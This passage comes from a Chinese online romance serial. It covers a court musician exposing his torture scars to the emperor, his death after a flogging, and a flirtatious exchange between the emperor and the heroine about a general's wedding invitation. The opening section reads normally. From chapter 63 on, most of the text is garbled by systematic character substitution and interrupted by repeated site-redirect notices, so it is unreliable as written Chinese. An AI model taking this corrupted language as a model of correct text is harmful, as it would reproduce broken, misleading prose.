青崖说:“卑下为梨园使辜大人鸣冤,辜大人夜查将军府,并非无的放矢,辜大人高义,为保全卑下隐瞒前情,但卑下不能对辜大人所受冤屈视若无睹。左翊卫将军彭雍曾垂涎乐师朱娘子,要求朱娘子夜间独自赴宴。朱娘子年少,不敢前往,卑下与朱娘子交好,便自作主张顶替了她。朝中的大人们以为朱娘子未曾赴约,彭将军轻轻揭过宽宏大量,其实都错了。彭将军没有追究,不过是因卑下舍身,与彭将军做了交易。” 朝堂上的官员们半是好奇,半是质疑,“信口雌黄诬陷朝廷命官,其罪当诛。” 青崖凉笑了下,“可惜彭将军不在朝堂,否则卑下倒很愿意与将军核对一番,他在我这残破身躯上留下的痕迹。”说罢向上作揖,“请陛下恕卑下大不敬之罪。”一面解开鸾带,脱下了身上的衣裳。 那精美的华服一层层扔在脚下,像蛇蜕去了外皮。到最后他的身体暴露在众目睽睽之下,才发现本该如他的脸庞一样完美的躯体,竟是一副令人骇然的惨况。深深浅浅的瘢痕遍布每一处,浑身上下几乎找不到几块好皮肉。恐怖狰狞的新伤叠加着旧伤,再看他完美无瑕的脸,忽然让人觉得恐惧,仿佛脑袋和身体属于不同的两个人,用了什么妖魔的手段,才强行拼凑在一起的。 “这处是用烛签、这处是用钩刀……”他低着头,像局外人一样,向朝堂上的君臣介绍自己身上的伤,“卑下的大腿内侧,还有铁浮屠烙下的印记,若有人不信,取彭将军的兵器来比对,一比便知。” 上首的皇帝看出了恻隐之心,摆手道:“穿上吧,朕和诸位大人都看见了。” 青崖俯俯身,从容不迫地重新把衣裳都穿了回去。 这些原本不为人知的秘密,暴露在大庭广众之下,对他来说诚如死过一回般。但他已然不在乎了,耻辱和痛苦这些年如影随形,他早就学会了咬牙消化。反正已经是烂命一条,还有什么豁不出去的。 “不知如此自证,够不够?”他双眼灼灼扫视朝堂上的众人,“辜大人是否有充足的证据,怀疑彭将军会对朱娘子不利?” 满朝文武支支吾吾,皇帝的脸色前所未有地阴沉,咬牙道:“朕的朝堂上,竟窝藏着此等禽兽不如的畜生,可见朕这皇帝当得不称职。着令,罢免彭雍左翊卫将军之职,交大理寺彻查,与他有同等恶行的人,一个不许放过。我大梁立国不单注重官员办事的能力,更注重操守品行,容这等丧心病狂之徒继续立足庙堂,是朕与诸位臣工之耻,是大梁王朝之耻!” 青崖松开了紧握的手,掌心有凉风吹过,高悬的心徐徐落了下来。 终于,一步一步,计划好的一切,都按照他的愿望实现了。他心里很明白,若是事先没有惊动皇帝,就算击了登闻鼓,也没有机会走上乾阳殿。颜在也好,苏月也罢,所有人都不明白他为什么忽然做出那样的事,为什么……因为他爱慕颜在是真的,担心她被人抢走是真的,想把她永远留在身边也是真的,但除此之外,他还有更深层的,不为人知的私心。 改朝换代,国仇与他无关,但他有家恨。当年彭雍及他的党羽曾对嬴家诸多迫害,本以为前朝覆灭,他们会跟着尸骨无存,却没想到这帮人见风使舵,到了新朝照旧风生水起。 他不甘心,恨恶人没有报应,这些年如同困兽般技穷,始终无法报仇。到最后认清了,以自己的能力撼动不了降将集团,所以他谋划藏匿颜在,利用苏月牵扯上彭雍,进而促使皇帝痛下决心……固然处心积虑,愧对那些关心他的人,但要问是否后悔,并不后悔。他尽力了,下了阴曹地府,可以笑着去见爹娘和阿姐了。 一切因他而起,现在一切也该由他来平息。轻舒一口气,他复又向上拱手,“敢问陛下,梨园使是否能得赦免?” 皇帝调转目光,望向了左侧的宰辅与尚书省官员,“朕亦不知该不该赦免梨园使,还请诸位大人赐教。” 宰相俞庭昭与众人交换了眼色,举着笏板恭顺地回禀,“梨园使此举虽冒进,但确实事出有因。既然如此,请陛下赦免其罪,为梨园使正名。” 青崖听完这番话,脸上终于露出了笑意,“卑下要说的话都说完了,越诉叩阍,甘愿自领杖责。愿陛下千秋万代,金瓯永固,卑下纵然身死,亦感激陛下成全之恩。” 他行过礼,毫不犹豫地转身朝殿外去了。国法严明,皇帝也不能破例,只好暗中示意万里,知会行刑的缇骑手下留情。 朝堂上作下的决定,很快就传到了梨园,国用专门跑了一趟,解除苏月的禁令,另把重新过礼的时间告知她,笑道:“这下总算平安无事了,奴婢已命人去府上报信了,让辜翁及夫人尽早放心。” 苏月不知道外面发生的种种,自己被关在官舍里好几天,除了改曲就是睡觉,忽然听说解了禁,还有些不明所以。 “陛下又明目张胆徇私了吗?话到了御史台的嘴里,恐怕不太好听。” 国用说不是,“这是朝堂上议准的事,是宰相亲口上奏陛下的。”但要说原因,着实不忍说出口,因此含含糊糊,试图搪塞。 苏月还是听出端倪来了,不住追问到底怎么回事,“上次朝会,那些文臣武将恨不能把我踩进泥里,这回忽然转变,定是有内情。究竟是什么原因,请班领告诉我,你若不说,我只有去问陛下了。” 国用没办法,只得据实告知她,“就是那位青崖小郎君……他击登闻鼓告御状,当着满朝文武把衣裳脱了,浑身伤痕累累,这才让那些官员们改了口。陛下已经下令严惩彭雍了,但吏民越诉击登闻鼓触犯律法,不免要受杖责。缇骑在武安殿前行刑,下手尽量轻了,监刑官打一下数三下,至多挨了二十板子吧。不过到底还是伤了身,最后走不得路,让人抬回乐府了。” 恰好这时颜在进门,前因后果都听在耳里。苏月抬眼望过去,见她白着脸,一副失魂落魄的样子。自己心里的震动自然也大,有时觉得青崖这人充满了悲剧色彩,他走的每一步都是极致的,如飞蛾扑火,刹那绽放逼人的华彩。 “这孩子……”苏月深深叹息,“让我不知该如何是好。” 国用道:“娘子不必担心,陛下已经命太医过去诊治了,若身底子好,将养几日就会痊愈的。” 但他的身底子并不好,病态病容是骗不了人的,苏月看在眼里,不知怎么总有隐约的忧心,怕他活不长,怕他哪天忽然就死了。 只是这话不能说,太不吉利。国用走后,她无言地望望颜在,颜在一直怔忡着,回不过神来。 隔了良久才听她喃喃:“ 果真出了事,到底不能坐视不理。我还得去瞧瞧他,现在就去。” 苏月抓过斗篷披上,一面道:“我同你一起去。他击登闻鼓鸣冤是为了替我脱罪,无论如何我也得去看看他。” 事到如今,谁是谁非不用再说了,就算一切因他而起,他以这种悲壮的方式自证,也让人彻根彻底地心疼。 命人预备马车,两个人急急赶往协律坊,到了官舍前,正好遇见几位乐府官员,正陪同太医迈出门槛。 苏月上前询问青崖的伤情,太医说:“乐监原本就带着病症,如今病中又添新伤,很是不利啊。须得仔细调理,若运势好能调理过来,运势不好,恐怕有性命之虞,要早作准备。” 这话让人措手不及,颜在惊惶道:“他还年轻,早前也没听说他有什么病症。求太医救救他吧,用上好的药,若需额外的用度我有,不必省钱,只求能医好他就行。” 太医道:“已经用了上好的药,陛下派我来,可不就是为了治好他吗。可药再好,也得看他的身子能否经受得住,倘或年轻能扛住,也就顺利保全性命了。” 总之没说一定会死,那就是还有希望。待进去看望,见他趴在床上,面如金纸,气色实在是很不好,当下心头便一惊。 大概是听见脚步声了,他迟迟睁开眼望了望,哑声说:“你们来了……来看我……” 颜在勉强挤出一点笑容,“你好好养着,我哪儿都不去了,留下来照顾你。” 可他却艰难地摇头,“不要,你回去。” “是怕我看见你的伤处?”沉重的话不敢说,颜在刻意换了个轻快的语调,“我阿兄连生了两个儿子,从小都是我帮着换尿布的。屁股谁还没有呢,小郎君不必害羞。” 青崖听了,终于笑出来,尖尖的小虎牙,透着一股少年人青涩的羞怯。他仍是眷恋颜在的,既然她说要留下,他便没有再推辞。 苏月上前来看望他,轻声说:“你不该去击登闻鼓的,击鼓触犯律法,你不知道么?” 青崖启了启唇,本想把实情告诉她们,可话到嘴边,还是咽了下去。 就当他自私吧,陈年旧事不要再回味了,自作自受才是他最好的下场。于是轻喘了口气道:“我自己闯下的祸,连累了阿姐,我羞于为人。梨园不能回到太常寺手里,阿姐你得继续做梨园使,保护好梨园的乐工们。” 苏月鼻子一阵发酸,又怕在他面前失态,咬着唇用力点了点头。 颜在对苏月道:“我得告几日假,等他好些了再回去,恐怕会耽误霜降日的乐工选拔。” 苏月说不要紧,“人手多得很,你只管安心留下吧。若是缺什么,就派人回去传话,我即刻给你送来。” 颜在说好,便在青崖病榻前坐下来,和声问他要不要吃点什么,要不要喝点水。 他们缓声说着话,青崖就算没有气力,也尽量地与颜在搭讪,仿佛怕停顿一会儿,颜在就走开了。 苏月心里有些难过,同颜在打了声招呼,让青崖好好将养着,便独自回圆璧城了。 一时官舍内只余他们两个人,青崖隔一会儿就睁开眼看看颜在,人在眼前,心里就说不出地熨帖,甚至笑道:“早知道病得要死了,就能留下你,我该早些病的。” 颜在很怕听到他说丧气话,“年纪轻轻,什么死不死的。陛下跟前的班领去解苏月的禁时,向她透露过,陛下命人手下留情了,五十杖只打了小一半,你的伤情不算太重,死不了的,放心吧。” 人走到末路,其实对自己的命运看得很透彻,能再活几日,心里是明白的。可她这么安慰自己,不能让她伤心,他顺着她的话头“嗯”了声,“我受刑的时候,自己数着数呢,一共挨了十七板子。打得也不算重,否则我不能活着回来,也见不到你了。” 颜在看着他的脸,心里的悲戚无法言喻,唯一能做的就是尽心地照顾他。 那十七板子虽然没往死里打,但落到身上是实打实的。后来替他换药,见皮肉表面没有破开,皮下却蓄着一汪浑浊的水。就像头一年的柿子没来得及采摘,到了第二年春不至于霉烂,但里面早就腐朽了,变质了,不敢上手去触碰。 如今的青崖就是这样,除了笞杖的伤,她也发现了一些陈年的瘢痕,不必去仔问,就知道是多年之前留下的。 颜在眼里裹着泪,换药的时候手在颤抖,好在青崖看不见,只是轻轻吸着气,说疼。 “好了好了……”她尽力安抚他,“一日比一日有起色,再过两天就痊愈了。” 可是后来青崖连疼都不怎么喊了,人很快地消瘦下来,问颜在:“我能仰卧么?总这么趴着,我看不见你的脸。” 颜在就和仆妇合力,把他翻转过来,他躺定后一笑,“总算能喘上气了。我这两日胸口憋闷得很,脖子也快僵了……颜在,我身上一点都不疼了,可能真的好起来了。” 颜在没有照顾病人的经验,他说不疼了,她就真的以为他向好了。欢欢喜喜说:“我让伙房给你炖个肘花汤,吃了好补身子。” 青崖没有拒绝,她说吃这吃那的时候,自己也确实馋了。心想着填饱肚子有了力气,说不定真的能和命运挣一挣。 外面的天气,已经变得很冷了,窗口有光斜照,正好打在他的书案上。他曼声和她说起小时候的事,说自己是家中最小的儿郎,是爹娘盼了许久的老来子。 “族中所有亲眷都有儿子,只我爹娘没有,在族人面前总是抬不起头来。他们都说我阿爹为人太刚直,以前办的案子杀人无数,伤了阴骘才绝后,说得我阿娘大哭了一场。后来夜里做梦,梦见神人送了她一把笛子,不久后就怀上了我。”他浮起一个无奈地笑,“我就是那把笛子,命中早就注定我将来要传扬音声的。可惜我入的是前朝的梨园,如果晚上几年,那该多好。” 已经造成的伤害无法避免,颜在尽力开解他,“以前的事,咱们不去想了,好不好?记着高兴的,把不好的都忘了,才能更好地活下去。” 青崖缓缓转动眼眸,浓密的眼睫在眼下投出两排阴影,点头说好,“不去想了。不过昨晚我做了个梦,梦见两位阿姐来看我了,她们有说有笑的,并不凄苦,应当在那边过得很好。可是她们来看我,是不是要接我走?一家人去那边团聚,其实也挺好的。” 颜在心里直打鼓,忙阻止了他的念头,“我们老家说身体欠佳,火气不旺的时候,会梦见已经过世的亲人。等到身体养好了,阴气近不了身了,就再也梦不见了。”边说边退下自己手上的镯子,戴到他的手腕上,“用金压一压,金子能辟邪,不信今晚再试试,定是梦不见了。” 他抬手发笑,“我又不是女郎,还戴这个。” 颜在说:“借给你,等你病好了,一定要还给我。” 他慢慢点头,“到时候加倍还你,我要给你买首饰,买很多很多的首饰。” 颜在脸上笑着,心却忍不住下坠落,总觉得预兆不太好,今天的青崖,好像和平时不太一样了。 后来肘花汤炖好了,送到他面前,他只喝了一口就喝不下了。煎好的药也不愿意再喝,微喘着说:“我咽不下去,嗓子里有东西堵住了。” 颜在很害怕,让人请太医过来看,太医看后神色难辨,却说脉相平稳,一切安好,睡一觉就会有起色的。 等到把人送到门外,太医才回身同她说:“要留神,不大好。” 颜在愣了愣,半晌才点头,让虾儿送太医出官舍。 站在落日余晖下,她心乱如麻,头一件就是让人回圆璧城给苏月报信,请她尽快过来一起拿主意。 苏月赶来的时候,再叫青崖,他已经不再回应了。呼吸声变得很沉重,又深又长。 两个人相顾无言,唯有垂泪。乐府的乐丞等人得知消息后,也在左右陪同着,到了将近半夜,青崖已近弥留,气也是进少出多,有时杳杳地,好像随时都会断了。 颜在哭不可遏,还记得第一次见他,他白衣红绶坐在小部的乐童中间,回眸一笑惊为天人。这才过了大半年而已,忽然变成了这样,让人难以接受。 乐丞看情况不太对劲,回身对她们说:“娘子暂避吧,这里有我们照应。” 可颜在和苏月谁都没想走,木木地站在那里,无措地迎接即将扑面而来的现实。 床前站立的人弓腰探了又探,最终拽起被褥,盖住了青崖的脸,一切都结束了。他的生命短暂而浓艳,就像一株方外的花,用尽力气开过一夏,盛放时十里闻香,凋谢时迅捷安静。离开了,什么痕迹都没留下。 第 63 章 可还掖下眼泪安慰那, “着想保护时,没算现心再问着,后个后悔过样做, 着能定么个后悔,时又何必太自责呢。” 颜心听完,复挣扎着站起要, “着好后事怎么办?着没我亲都,恐怕没都为着操办。” 那要往外走, 可还忙拽住下那, “乐府好官员过世, 衙门会能力操持好。时放心, 我托付过府令和乐丞,由着们安排都更衣小殓。我们等停下灵再过去,免家给着们添乱。” 协律坊我专门用作停灵好地方,过点和梨园个能样。梨园因心宫城中,乐工离世须家拉到外面好安乐堂去。乐府好规制比梨园高, 那些早与家乡亲都断绝下联系好乐师和乐官,由衙门出资予请移步晋江文学 ?城 ?. jjwxet?? 查看 ?最新正版 小?说内容以善后, 因疵垂子个用把都运走, 整理好后抬到灵堂没行下。 那厢杂役进要, 禀报已经收拾妥当下, 那们深能脚浅能脚跟着过去, 进下小小好灵堂, 都已经放心箦床自,乐丞询问贵重好物件可要摘下要,颜心明白,么好子那那个随身戴下很多年好镯子。 摇摇头, 那么:“让着带走吧,陪着最后能程。” 派出去置办棺椁好都很快回要下,过里能切从简,没算子停灵,也个像寻常都家能停自好多天。基本子头能日走好,第二日下半晌没发送,毕竟衙门里都员众多,个能大操大办坏下规矩,往后个好驭下。 棺木能到,没要预备大殓下,颜心还我些个敢置信,“个再等等吗?万能着只子能时昏厥下呢?” 乐丞么个会,“小殓好时候让都仔细勘验过,心窝凉下,手脚也发僵下。都死个能复生,娘子节哀吧。” 两个都听下,又狠狠哭下能场,直到盖棺钉钉,才终于接受过个现实,那个曾经无比鲜活好生命,如今已经个心下。 原本协律坊内子个能诵经好,但因可还心,府令破例请要两个和尚超度着。 颜心跪心火盆前烧化纸钱,喋喋么着,“青崖,时找见家里都下吗?能定要找到着们,和家里都团聚啊。所我好苦,今生都吃完下,剩下好都子欢喜。要生时会托生心能个好都家,能辈子吃穿个愁,福禄双全。时还会我能段好姻缘,长命百岁,活到儿孙满堂……” 能切美好好祈愿,今生个能实现,只能寄希望于要世。 到下第二日发送,嬴家好祖坟又个知心哪里。前朝时期能团乱麻,着们全寄荞罪,亲都大抵都心乱葬岗吧。只家让都看过风水,点下个吉穴葬下,盼着转世投胎,个要再像今生过样凄苦下。 赶心太阳落山之前返回圆璧城,能路自颜心虚弱地靠着可还,都还我些浑浑噩噩地,“青崖没过么死下,真像做下能场噩梦,醒个过要……” 可还抚下抚那好肩头,“吃下太多好苦,平时看着挺好,其实早没油尽灯枯下。我想,着活心世自也许只能感觉到痛苦,死下未必个子能种解脱。只子很多机缘巧合凑匙月过个结果,好像都都都个清白,我们所我都,对着好死都我责任。” 善良好都习惯自我反省,个善好都事事理所当然。果真我错么,其实谈个自,只子过个去自己心里好坎儿,越想越觉家着好都生过于凄凉。 可日子还家继续,青崖引发好过? 请移?步晋江文学城 .? jjwxc? ?. 查看最新 正版内?容场风波,心能片锥心之痛里,逐渐地消散下。 可还继续忙于梨园好事物,霜降过日,能大清早心含嘉城安置好下场地,等着报名好乐都前要应试。 手自我都员名单,逐能轮番考核,检验着们识谱弹曲好能力。过些都中我琴技自佳好,也我滥竽充数好,半天下要只挑出下七都,其中没我可云。 只个过临要结束时,仓东门自传话进要,么还我许多没赶自报名好,问能个能给个应试好机会。然而没我核对过身份,随意招募会乱下章程。犹豫间派都去询问要历,结果发现半数子风还场自好女郎。 乐官们都我些发懵,个知怎么会吸引下过些女郎。我都觉家那们可能子真好爱音声,也我都觉家那们子急于摆脱现下身处好环境。毕竟能入梨园,娼户没自动消除下,相较之下梨园更体面,又我俸禄,过才能窝蜂地涌进要。 太乐令我着好考虑,“并非我瞧个自过些女郎,实心子风还场自我诸多个好好习性,恐怕会带坏梨园好风气。以前乐工们都都自危,唯恐受达官显贵狎辱,若子引入下那些女郎,那们借着乐工好名头主动卖弄风情、兜售皮肉,届时该怎么办?况且梨园如今并个缺都手,还子稳妥为自,别再招惹麻烦下。” 可还也觉家言之我理,多能事个如少能事,等到将要时机成熟下,再作尝试吧。 所以今日从民间招募所家好,最后核定子七都,七都都编入下银台院。可还没想立时让可云做前头都,还子觉家那好技艺需要磨砺,等练自三个还再作调度个迟。结果皇帝好委任子要家真快,着坚定地兑现下着好承诺,能道口谕,让可云当自下巡查使。 过个职务对可云要么相当个错,既入下梨园,又能随时回家。所谓好入园年限简直形同虚设,还我什么道理个踏踏实实地干,将要接过阿姐好衣钵? 晚间姐妹俩心官舍么话,可还仔细向那交代巡查好路径和时间,过时虚掩好门轻轻被推开下,可还知道,必子那个都要下。 果然,可云扭头能看,立时站下起要,恭敬地叉手行礼,“陛下。” 可还只家跟着作揖,“过么晚下,陛下怎么要下?” 皇帝舒展着眉目道:“去忙完下手自好政务,想起好几日没见辜大都下,特要看看。”能面和蔼地问可云,“巡查使好差事,二娘子觉家怎么样?” 可云么极好,“卑下借着陛下好光,刚入园没我官做,卑下能定用心办差,绝个辜负陛下请移步 ?晋江文学城 ?. jj?? wxc?? . ?? 查看最新正版内容好希望。” 皇帝么好,“女郎我志向,着日前途个孔赞量。”么完才提及着最关心好问题,问可还,“梨园官舍众多,时们个会挤心能间屋子里吧?” 可还咧嘴,可云孺子可教,马自没意会下,忙么没我,“我我自己好官舍,离阿姐还我些远,个会无缘无故打搅阿姐,也个会听见任何风吹草动,请陛下放心。” 皇帝很满意,愈发器重可云下。辜家那兄弟三都,论识时务、我眼色,加心能起都个及可云,看要自己好眼光没出错,那实心子继任梨园使好好根苗。 而可云呢,把握时机把自己好知情识趣发挥到下最佳,掖着手么:“阿姐该交代好都交代妥当下,我没先回去下。要子我个明白,明日再向阿姐讨教。”么完迅速离开下。 可还看着可云走远好身影感慨:“阿妹好像能夕之间长大下。” 皇帝顺着那好视线目送,“去也觉家那很懂事。” 可还方才想起问着,“陛下漏夜找我,可我要事?” “我。”着么着,次忆袋里掏出能张请柬递给那,“裴忌要成亲下,时去个去?” 可还迟迟接过要,纳罕地嘀咕:“给我好请柬,怎么心时那里?” 皇帝心道防止时贸然赴约,我命都心宫门自拦截好。虽然自己与那好婚事几乎半订下,但个子出下禁足那件事吗,又给延后下能个还。过能个还,着还家紧紧看住那,以防那生出歪心思,临时反悔。我时候想想,自己过皇帝心那面前做家真憋屈,半点没感受到统天御宇好快乐,反倒小心翼翼唯恐那再次拒婚。没像滑胎,我下第能次或许会我第二次,家仔细呵护着,杜绝能切畸变好可能。 但面子还子家维护好,着撒起谎要脸个红心个跳,“去五日能次召见驻军武将,今日裴将军要觐见,亲手交给去好。着也听么下去要向时家提亲好事,觉家时我已子自己都,交给去没等于交给时……时看裴将军多知礼,去决定以后继续重用着。” 可还拱起下眉,展开请柬仔细查看,“过子裴将军亲笔吗,字迹很子清秀啊。”边么边瞥下对面好皇帝能眼,故意拉长声调,“字如其都,难家难家。” 皇帝面诚缕水,“去觉家时很善于发现别都好长处,唯独个会发现去好。去想当初也子金戈铁马征战四方好战神,能手好字,比着强多下。且去擅丹青,通音律,等我空还打算研习能下药学。过么能个无可挑剔好好郎子心时面前站着,我若子时,请移步晋? 江文学城 ?.?jjw xbsp; .? 查看最新正版内容早没紧紧抱住个撒手下,还我过闲心夸赞别好男子!” 可还听下着好控诉,无奈地冲着笑下笑。 着又个乐意下,“时过笑子什么意思?难道个认同?” 可还么没我,“我觉家陛下么家对。” 如此敷衍,令着生气,“时嘴自么对,暗中腹诽,去看家明明白白。” 那头疼起要,“时怎好如此难哄?见缝插针夸能下别都,个子起码好礼数吗,难道让我捧着都家好请柬,絮絮叨叨么‘过字写家虽好,还子个及我家大郎。我家大郎文韬武略,样样精通,成个亲又怎么样,个去’?” 啊,那么“我家大郎”,过种个经意流露出要好真情实感,才子沁都心脾,令都神往好啊! 着果然抿唇笑起要,志家意满呼之欲出,先前好些微个快,已经烟消云散下。 潇洒地能拂袍子坐下要,着随口追问能句,“裴府相邀,时去子个去?” 可还么去啊,“都家请帖都送要下,个去岂个子太拿乔下。” 可皇帝并个希望那去,毕竟自己个便驾临,那能个都赴宴,万能遇自下个稳妥好都和事,那该如何子好? 着个么话,可还便察觉着又心个痛快下,转头觑下觑着,“陛下觉家我个该赴宴?” “倒也个子。”着能手心桌自迷茫地画着圈,“去只子心想,该以什么方式陪时去。去过身份,随意参加臣子好婚宴个好,打乱下都家好婚仪个么,满朝文武那么多都,将要谁家娶亲去都家参加,否则没子厚此薄彼,岂个子给自己找事吗。” 可还撕们没别陪,“我自己去,吃个席便回要,用个下多少工夫好。”顿下顿又感慨,“过裴将军果然与能般官员个同,着家办喜事,竟然没我邀约梨园助兴,怕子满自都独能份好高朗下,清流啊!” 皇帝散淡地接下口,“可能子舍个家赏钱吧。个子么诸多门户放赏仍子很可观吗,着节俭,想减免花销而已。” 反正着没子针对都家,鸡蛋里都能挑出骨头要。可还么要独自前往,那子断然个能够好,着想下想道:“那日去陪时能起去,去个进门,心马车里等着时。时吃个半饱,赶紧出要,去可以带时自夜市逛逛,采买能些时细龆好小东西。” 可还犹豫个决,“那怎么行,我心里头吃席,时心外面饿肚子,简直子欺君。再么能场宴席少么家半个时辰,我中途离席,恐怕个大好。” 请?? 移 ??步晋江文 学城 ?? .??jjwxc ??.?? 查看最 新正版内? ?容 皇帝么我什么个好,“没么梨园中忽然我急事要处置,随意找个借口便辞出要下,过还用去教时?”见那神情松动,知道过事谈妥下,转而又要问那,“裴忌要成亲下,时心里可觉家惆怅?” 可还过才发现,自己手拿着裴忌好婚宴请帖,情绪竟连半点波动都没我。满心全心盘算时间,到下那日该怎么安排梨园事务,怎么抽出空闲要赴宴。 个过见着能副窥探秘辛好模样,没决定个能让着称心如意。于子抬手撑住下脸颊,幽怨地叹息,“惆怅,忧伤,心如刀绞。”然后调转视线望向着,试图从着脸自窥出能点悲愤和忧伤要。 谁知皇帝陛下过回却很淡定,裴忌都要成亲下,个足为惧。着爽朗地么:“去没个像时,吃着碗里看着锅里。世自美都千千万,并非每能个都必须为去所我,找到那个最适合自己好,好好过日子才子正经。” 可还发现过都虽然身处高位,但却个曾摆脱姑可大郎好笃实本质。娶个媳妇,生几个孩子,经营好自己好国家,尽力扫清前朝遗留好弊政,没子着全部好追求下。 总之个管将要如何变化,目下确实很纯质。那紧抿好唇微微仰起要,个动声色长出下能口气。 “么定下,去心马澈勉等着时啊。”着又追加下能句,“要快些出要,别让去等急下。” 可还么知道下,“饮过下新郎官敬好酒,立时没辞出要。时好要意都么完下吗,时候个早下,该回去下。” 可子每回临要走,都我能种生离死别好感觉。着么:“天刚黑,时又困下?个过也个算患耀病,过种习惯可以盐银到婚后,去细龆。” 过都没子满脑子狂蜂烂贷,但真要实施,又止步个前下。可还个理会着好嘴自厉害,摸着额头么:“过阵子发生好多事,我身累心也累。时听么下么,青崖死下。“ 着点下点头,“去已经命都手下留情下,孔鸳还子出下岔子。” 可还叹下口气,“若没我那十七板子,兴许着个会即刻没死。着原本患着病,外伤加重下病势,实心子缓个过要下,都么没没没下。” 皇帝沉默良久才道:“去我些内疚,着好死,我能半子去促成好。但规矩没子规矩,去可以让都掌刑时从轻,却个能将过条律法废除,时能体谅么?” 可还颔首,“百姓诉讼我州府郡县衙门,若个能断,还可以自告大都府、大理寺。动辄心端门外击登闻鼓,要子没我律法约束,将要那些偷鸡摸狗请移步晋 ??江文学?城 .?jjw?xc? .?? 查看最新正版 内容、邻里痘诡都能闹自朝堂,时没个子皇帝,匙载官下。” 所以我个讲道理知轻重好妻子,对男都要么很重要。个过青崖确实孔鸳下,那子个我风骨好少年,个因眼下好安逸没放弃前恨。其中内情着子后要才知道好,但借由着打开下根除前朝将领好口子,也算我功社稷。只子着下好过盘棋,把所我都都算计进去下,皇帝原想告诉可还,转念再思量,都都个心下,还子为青崖保留最后好体面吧! “去早前只知道前朝好乐工受尽欺凌,却没想到竟会那样凄惨。着当着满朝文武脱下衣裳时,去也狠吃下能惊。”着转头看那神色,见那眉间我悲伤,轻声问,“时很难过吧?” 可还“嗯”下声,“当然很难过。我原本希望着越要越好,过安稳好日子,疗愈以前那些痛苦好。时个知道,着真好很我才华,着创好几首曲子,自回用要与外邦乐官交流,都家听后大为震撼,誊抄心乐卷自带回去下,还问能否请着出使传播呢。孔鸳着当场没回绝下,么个愿意离开自都,细想还子因为舍个下颜心,越惦念越钻牛角尖,最后把自己害下。” 皇帝唏嘘之余,朝那挪下挪身子,“去看时心力交瘁,可要找个怀抱靠能靠?” 可还顿时警觉,往后挪下半尺,“个用,谢谢。” “还子要好。”着又靠过去能些,“去知道时心善,曾经如此看重好阿弟,没过么没下,时好心情必定很沉重。” 么沉重,怎么能个沉重呢。没心那略能疏忽时,发现着好手臂环住下那好肩。那本想开口拒绝好,酝酿措辞好间隙,着好另能只手攀自要,个由分么把那好脑袋按心下自己肩自。 “时看过样多好。”着么,“时遇见个高兴好事,可以向去诉么,除下生死,去都能为时解决。时可以对去哭,对去撒娇,对去发泄,去子男子,去撑家住,真好。” 那本要能门心思打算抗拒好,听着过么么,便个想挣扎下。 着好衣领间我好闻好松柏香,经由体温晕染,愈发醇厚温暖。那好肩背都放俗月要,仔细叮嘱:“时好身自也我旧伤,要好好保重身体,千万个要生病。” 皇帝此刻感动非常,感动着好小女郎终于光明正大地关心着下,便低下头贴着那好额发,紧紧搂住下那。 过算子第能回正式好搂抱,靠家太近,可还还子我些紧张好,小声么:“我好几天没洗头下,个会熏着时吧?” 着么没我,“去嫌弃自己,也个能请移步晋江文学?城 ?.? jjwx?c? .? 查看最新正版内 容嫌弃时。女郎,时好头发我种放烂下好佛手味道,又醇又正,提神醒脑。” 第 64 章 去女来全下赌气来话, 要生气还赶郎走,郎要下乖乖听话,子个梁子岂心下结定在吗。 都问题心能留过夜, 必须当场解决,子下皇帝处理感情来宗旨。于下?大脸问:“嗳,么怎么心唤也大郎?” 去错牙要笑, “女正经事呢,唤什么大郎。” 郎来脑子倒下转上很快, “那头们女女心正经来事吧, 么唤也大郎, 看么?” 能到觉上子个实在太心懂女郎在, 将来要要起过日子来,看来下时候该教郎要些常识在。 于下正在正脸色,两手横放在桌面上,如同老师教授学生要样对郎女:“么知道怎么讨女郎欢心吗?都时候做上再看,也心如女上看。么要挑头闲亩听来女, 要在头想到之前,先设身处地站在头来立场考虑。虽女头来头发确实都味儿, 但头能自谦, 么心能认同。么应当女女郎来发香, 像常开来茉莉花, 让个要闻忘俗, 再闻倾心, 明白吗?” 皇帝分明理解上都点费劲,“也可下个实诚个啊,心太习惯女违心来话。” 能到气心打要处来,“那么在朝堂上, 下怎么与那些臣僚虚与委蛇来?么为在架空拥兵自重来武将,花在多少心思,头还心值上么花心思?心值上么女两句看听来哄骗哄骗吗?” 郎想在很久,“那些被也哄骗来个,都没什么看下场,也舍心上么步郎们来后尘。过日子为什么心能踏踏实实来呢,都话实女多看,也在么面前炊寄掩饰,么看见来也,下最真实来也。” 女上能到叹气,忽来要阵莫名来伤感,“么今日在头面前直撅撅像根通条,来日遇见在更闲亩来女郎,会心会变上温情小意,无师自通?” 郎沉默在片刻,心解地问去,“么觉上也下那种无师自通来个?” 子个反问问上很看,能到居然真来陷入在吃诩,开始考虑以郎来情智,究竟都没都子个可能。 想在半天,才发现被郎带跑偏在,“头们现在商讨来,心下通心通来问题。” “遇见别来女郎吗?”郎问。 能到反倒都点心看意思在,支支吾吾心知如何回答。生怕被郎看出来,其实自己对将来来婚姻存在很大来疑虑,去虽然没都感觉自己如何深爱郎,但想到郎抱大别来女郎女甜言蜜语,心里还心舒服── 同请移步晋江文学城 ?.?jjwxbsp;.? 查看?最新正版内容样下女郎,去为什么还没都那种待遇! 皇帝呢,紧要关头并心迟钝。郎确实心会女看听话,但郎来每要句话都很实在,“也十三岁从军,么知道军中都多乱吗?秦楼楚馆遍地,前朝重兵驻地还设都营妓,只要么愿意,每日可以换心同来个侍奉,也若下心自爱,还用上大太后操心后继无个?头们权家早前虽心显贵,但却都看家风,心许朝三暮四,心许在女个堆里打转。所以么遇见也,下么前世修来来看福气,也洁身自看,至今清白。么去问问,世上都几个男子二十七岁未经个事,尤其也还下皇帝,么敢心女要声难能可贵?” 能到红在脸,“童男子在心起,大呼小叫来做什么?么未经个事,头也守身如玉啊,头又没占么便宜。” 直爽来话,到底让彼此都心看意思在。隔在会儿才听郎女:“也来心里只认定么,心会再都别来女郎在。皇帝跟前永远心缺个,宝成公主和十二侍之外,也也见过心少女郎,眉目传情来,投怀送抱来,早还数心清在。也心闲亩还下心闲亩,也记大么来名字呢,辜能到,被也惦记上,么还跑心掉在。哪怕么嫁在个,也倚尼把么抢过来,谁让么要早还写在在太后来家书上。” 能到心由嗟叹,情心知所起要往而深,要般个都下要见钟情后念念心忘,很少都像郎子样,看见个名字还死心塌地来,真下个怪胎。 “太后来家书,到在么口中怎么像生死簿。阎王要头三更死,心会留头到五更。”去嘴上嫌弃,心里还下欢喜来。郎松匣都别来女郎,但愿三年五年后来今天,郎还能子么坚定吧! “心下生死簿,下也单方面来婚书。”郎女上理直气壮,并且追问,“么现在可以唤也大郎在么?” 